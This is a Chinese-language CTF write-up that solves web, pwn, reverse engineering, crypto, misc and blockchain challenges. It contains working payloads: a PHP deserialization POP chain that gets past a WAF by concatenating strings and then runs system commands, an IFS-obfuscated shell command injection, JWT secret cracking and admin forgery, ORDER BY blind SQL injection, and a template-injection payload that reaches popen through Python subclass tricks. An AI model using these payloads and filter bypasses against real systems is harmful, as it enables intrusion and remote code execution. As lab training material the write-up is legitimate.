Web1 tarot_site

抽了几轮感觉没啥洞啊
draw这里会把太阳这张牌排除,对应“当太阳不在牌堆中时”
Pasted image 20260517101329
所以只要把代码改成 const deck = sourceDeck.filter(card => card);就好了(override这样就可以从本地加载了)
牌应该是随便抽就好,只要保证有太阳就行
Pasted image 20260517101745

Web2 Ex-otogibanashi

Pasted image 20260517103203
突然发现非预期了,直接访问second_stage_41d8cdthird_stage_4469f1就可以直接进stage3
poc长度有限制<200
hachiyo里面有__wakeup可以序列化后改成员数量绕过
kaguya里面ban了很多函数,格式也有限制
Pasted image 20260517104645

1
2
3
4
5
6
7
8
9
10
11
12
public function execute() {  
        if (md5($this->leave) == md5($this->return) && $this->leave != $this->return) {
            if (!$this->waf($this->kotoba)) {
                die("I will be your side,maybe. \n");
            }
            eval($this->kotoba);
            echo "<br>";
            echo "True Happy Ending.CONGRATCULATIONS!\n";
        } else {
            die("I wish i can be your side.\n");
        }
    }

这里md5是弱比较,可以用240610708QNKCDZO
链子应该是hachiyo->__destruct()->iroha->run()->kaguya->execute()
直接调system()没回显,换call_user_func就有了
POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class hachiyo {
public $hito;
}

class iroha {
private $dream;
public function __construct($dream) {
$this->dream = $dream;
}
}

class kaguya {
public $kotoba;
public $leave;
public $return;
}

$k = new kaguya();
$k->kotoba = 'call_user_func("sys"."tem", "ls /");';
$k->leave = "240610708";
$k->return = "QNKCDZO";

$h = new hachiyo();
$h->hito = new iroha($k);

$payload = serialize($h);

echo urlencode($payload);

Pasted image 20260517110408
得到flag的名称是flag_1de507954c3d
POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class hachiyo {
public $hito;
}

class iroha {
private $dream;
public function __construct($dream) {
$this->dream = $dream;
}
}

class kaguya {
public $kotoba;
public $leave;
public $return;
}

$k = new kaguya();
$k->kotoba = 'call_user_func("sys"."tem","cat /fla"."g_1de507954c3d");';
$k->leave = NAN;
$k->return = NAN;

$h = new hachiyo();
$h->hito = new iroha($k);

$payload = serialize($h);

echo urlencode($payload);

Pasted image 20260517112412

Web3 Texas Hold’em

http://ctf.a1natas.com:26969/read?name=存在任意文件读,下载源码/app/app.jar分析
一个无回显的RCE
Pasted image 20260517135020
直接ls / > /app/files/history/a.txt应该是写不进去的,用/bin/sh -c这样才能写进去

1
/bin/sh -c find${IFS}/${IFS}-maxdepth${IFS}4${IFS}-type${IFS}f${IFS}-name${IFS}*flag*${IFS}-print>files/history/a3.txt

HackBar中url包含$可能会出问题,把payload url编码一下
Pasted image 20260517135424
Pasted image 20260517135447
成功写入,得到flag的名称:/flag_5cd1f48d570673434c803ab534f7f650
Pasted image 20260517135517
读出来就好了
Pasted image 20260517135551
Pasted image 20260517135606

Web4 Auth Django

第一关登陆可以jwt爆破

1
Secret is "urh7"

伪造isAdmin进入/data
Pasted image 20260517133217
查询1报错了,泄漏了一点源码
Pasted image 20260517133650
随便输了几个,src_user会报错,usersrc_group可以用
生成的SQL语句结构也不一样
src_groupSELECT "src_user"."id", "src_user"."title", "src_user"."author_id" FROM "src_user" INNER JOIN "src_group" ON ("src_user"."author_id" = "src_group"."id") ORDER BY "src_group"."id" ASC
userSELECT "src_user"."id", "src_user"."title", "src_user"."author_id" FROM "src_user" INNER JOIN "src_group" user ON ("src_user"."author_id" = user."id") ORDER BY user."id" ASC
src_group.idSELECT "src_user"."id", "src_user"."title", "src_user"."author_id" FROM "src_user" ORDER BY ("src_group".id) ASC
观察发现id-id分别产生了正序和逆序的results,可以根据这一点来进行盲注
Pasted image 20260517154314
这里泄漏了所有列名

Pwn1 math_game

1
2
3
4
5
6
7
from pwn import *
io = remote("ctf.a1natas.com", 20213)
for i in range(500):
io.recvuntil(b"] ")
expr = io.recvline().strip().decode()[:-4]
io.sendline(str(eval(expr)).encode())
io.interactive()

Pasted image 20260517102053

Pwn2 carboshop

Pasted image 20260517115427
v12 = dword_4010 - totprice;这里v12是int,32位,减的时候没有判断,可以溢出到一个极大值,这样就有钱买flag了。
Pasted image 20260517115743

Reverse1 AAAbase

UPX,脱壳upx -d base.exe
Pasted image 20260517100529
有一个check_flag,二次base64
Pasted image 20260517100559
Pasted image 20260517100625
换表
Pasted image 20260517100743

Reverse2 driver

driver.sys里面的RunStream()实现了一个魔改RC4,EvtIoDeviceControl的操作有点像跳转表
Pasted image 20260517113231
Pasted image 20260517113245
0x222020u这里把加密结果与一个固定的数组进行比较
加密的控制码是0x222010u,驱动中调用RunStream的时候把控制码也传进去了,得到v3=4
Pasted image 20260517130614
对应下面这一个分支(实际上其他分支都没有被调用)
Pasted image 20260517130713
UserClient.exe中对输入进行逆序的packet[i] ^= packet[i-1]
driver_box_key应该就是key了
Pasted image 20260517113447
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
x=[ 244, 210,  84, 253, 226, 194,  94,  97, 239,  44, 
1, 116, 212, 222, 1, 251, 188, 146, 39, 167,
137, 28, 132, 239, 72, 229, 94, 74, 249, 241,
189, 35, 78]
key='driver_box_key'
flag=[]
j=0
c=x
s=list(range(256))
for i in range(256):
j=((j+s[i])+ord(key[i%len(key)]))%256
s[i],s[j]=s[j],s[i]
j=0
i=0
for r in c:
i=(i+1)%256
j=(j+s[i])%256
s[i],s[j]=s[j],s[i]
x=(s[i]+s[j]%256)%256
flag.append(r^s[x]%256^0x55)
for i in range(1, len(flag)):
flag[i] ^= flag[i-1]
print(''.join(map(chr, flag)))

Reverse3 binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <iostream>
using namespace std;
char *exploit(){
int v2[4]; // [rsp+0h] [rbp-50h]
int v3[4]; // [rsp+10h] [rbp-40h]
int v4[4]; // [rsp+20h] [rbp-30h]
int v5[7]; // [rsp+30h] [rbp-20h]
int i; // [rsp+4Ch] [rbp-4h]

v5[0] = 39;
v5[1] = 39;
v5[2] = 107;
v5[3] = 77;
v4[0] = 56;
v4[1] = 56;
v4[2] = 53;
v4[3] = 58;
v3[0] = 102;
v3[1] = 102;
v3[2] = 165;
v3[3] = 104;
v2[0] = 92;
v2[1] = 88;
v2[2] = 121;
v2[3] = 108;
char *a1 = new char[16];
for (int i = 0; i < 16; ++i) {
if ((i & 3) != 0) {
if (i % 4 == 1) {
a1[i] = v4[i / 4] - 5;
} else if (i % 4 == 2) {
a1[i] = v3[i / 4] - a1[i - 1];
} else {
a1[i] = v2[i / 4] ^ i;
}
} else {
a1[i] = v5[i / 4] ^ 0x12;
}
}
return a1;
}
int main()
{
char *a1 = exploit();
cout<< a1 << endl;
return 0;
}

Crypto1 Railfence

随波逐流一把梭
Pasted image 20260517120802

Crypto2 CCBBCC

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *

fn = bytes_to_long(b"flag")
pre = iv = bytes_to_long(b"cbc!")
key = 535852798 ^ pre ^ fn
c = [535852798, 2121886247, 282623936, 1833526300, 684945885, 1834576442, 465731568, 1868785722, 216885485, 929963093]
flag = b""
for i in range(len(c)):
m = c[i] ^ pre ^ key
flag += long_to_bytes(m)
pre = c[i]
print(flag)

Misc1 真签到不骗你

Pasted image 20260517100209

Misc2 superlative render

经过尝试,openglobals都在黑名单,分别用字符串拼接、getattr绕过
POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Producer Card</title>

<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Noto+Sans+JP:wght@400;700;900&family=Poppins:wght@500;700&display=swap" rel="stylesheet">

<style>
:root {
--nichika-color: #1959d9;
--text-light: #ffffff;
--text-dark: #ffffff;
}

body {
font-family: 'Poppins', 'Noto Sans JP', sans-serif;
background-color: #ffffff;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}

.card-container {
width: 910px;
height: 550px;
border-radius: 20px;
overflow: hidden;
position: relative;
display: flex;
background-size: cover;
background-position: center 30%;
}

.overlay {
position: absolute;
inset: 0;
background: linear-gradient(to right, rgba(0,0,0,0.5), rgba(0,0,0,0) 60%);
}

.info-panel {
width: 45%;
padding: 40px;
display: flex;
flex-direction: column;
justify-content: space-between;
color: var(--text-light);
clip-path: polygon(0 0, 100% 0, 85% 100%, 0% 100%);
background: linear-gradient(135deg, rgba(18,153,198,0.7), rgba(166,206,182,0.4));
}

.header {
display: flex;
align-items: center;
gap: 15px;
}

.logo-283 {
width: 60px;
filter: brightness(0) invert(1);
}

.producer-title {
font-size: 28px;
font-weight: 700;
}

.producer-name {
font-size: 56px;
font-weight: 900;
}

.contact-info {
list-style: none;
padding: 0;
}

.contact-info li {
margin-bottom: 12px;
font-size: 20px;
display: flex;
align-items: center;
}

.label {
background-color: var(--nichika-color);
padding: 2px 8px;
border-radius: 5px;
margin-right: 10px;
}

.art-panel {
flex-grow: 1;
position: relative;
}

.signature {
position: absolute;
right: 10px;
bottom: 30px;
width: 150px;
opacity: 0.9;
filter: drop-shadow(0 4px 6px rgba(0, 0, 0, 0.6));
}
</style>
</head>

<body>

<div class="card-container"

tal:define="
producer_name producer_name | 'AyaN0P';
idol_name idol_name | 'Hataya Misuzu';
agency_logo '/static/hatsuboshi_gakuen.png';
bg_image '/static/cg.png';
signature_img '/static/msz.png';
contacts contacts | [
{'label': 'QQ', 'value': '114451419'},
{'label': 'Gakumas', 'value': 'AP983UEL'}
];
"

tal:attributes="style 'background-image:url(%s)' % bg_image">

<div class="overlay"></div>

<div class="info-panel">

<div class="header">
<img class="logo-283"
tal:attributes="src agency_logo" />

<h1 class="producer-title"
tal:content="idol_name + ' Producer'">
</h1>
</div>

<div class="main-content">

<h2 class="producer-name"
tal:content="producer_name">
</h2>

<ul class="contact-info">
<li tal:repeat="c contacts">
<span class="label" tal:content="c['label']"></span>
<span tal:content="c[str(getattr('value'.__class__.__base__.__subclasses__()[159].__init__, '__glo'+'bals__')['pop''en']('cat /flag').read())]"></span>
</li>
</ul>

</div>

</div>

<div class="art-panel">
<img class="signature"
tal:attributes="src signature_img" />
</div>

</div>

</body>
</html>

Pasted image 20260517112016

Blockchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 public consecutiveWins = 0;

uint256 public currentBlockValue;

constructor() {
currentBlockValue = uint256(blockhash(block.number - 1));
}

function flip(bool _guess) public returns (bool) {
uint256 coinFlip = currentBlockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
} else {
consecutiveWins = 0;
}

currentBlockValue = uint256(blockhash(block.number - 1));

return side == _guess;
}

function getValue() public view returns (uint256) {
return currentBlockValue;
}

function isSolved() public view returns (bool) {
return consecutiveWins >= 10;
}
}